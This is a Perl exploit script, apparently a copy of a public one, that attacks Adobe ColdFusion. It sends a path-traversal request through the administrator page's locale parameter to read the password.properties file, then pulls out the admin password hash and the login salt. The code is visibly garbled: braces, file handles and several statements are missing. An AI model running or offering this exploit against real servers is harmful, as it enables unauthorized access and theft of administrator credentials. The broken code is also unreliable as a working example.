use LWP::UserAgent;

use HTTP::Request;

$agent = LWP::UserAgent->new();

$target = $ARGV[0];

  

print "+--------------------------------------------------------+\n";

print "       ColdFusion Locale File Disclosure exploit          \n";

print "                created by D35m0nd142                     \n";

print "+--------------------------------------------------------+\n";

sleep 1;

  

if($target eq '')

print "Usage: perl cfexploit.pl <target>\n";

  

if($target !~ /http:\/\// )

$target = "http://$target";

  

@hosts = ("$target/CFIDE/administrator/index.cfm?locale=../../../../../../ColdFusion8/lib/password.properties%00en",

  

print "\n... Exploiting ... \n";

  

foreach $host (@hosts)

$req = $agent->request(HTTP::Request->new(GET=>$host));

  

print "\n[+] Vulnerable URL: $host \n\n";

print FILE $req->content;

$grep = "grep 'password=' cf_content.txt > passwords.txt";

$head = "head -n 2 passwords.txt";

print "+-------------------------------------------------+\n";

print " [+] ColdFusion passwords: \n";

print "___________________________________________________\n";

print "___________________________________________________\n";

sleep 1;

print "\n... Retrieving SALT ... \n\n";

sleep 1;

$grep = "grep '<input name=\"salt\" type=\"hidden\" value=' cf_content.txt > cf_salt.txt";

$salt_cut = "cut -d '=' -f 4 cf_salt.txt > cf_salt1.txt";

$salt_cut1 = "cut -d '\"' -f 2 cf_salt1.txt > cf_salt2.txt";

print "+---------------------------+";

print "\n [+] SALT: \n";

print "_____________________________\n";

print "_____________________________\n";

  

  

  

print FILE "[-] not vulnerable!";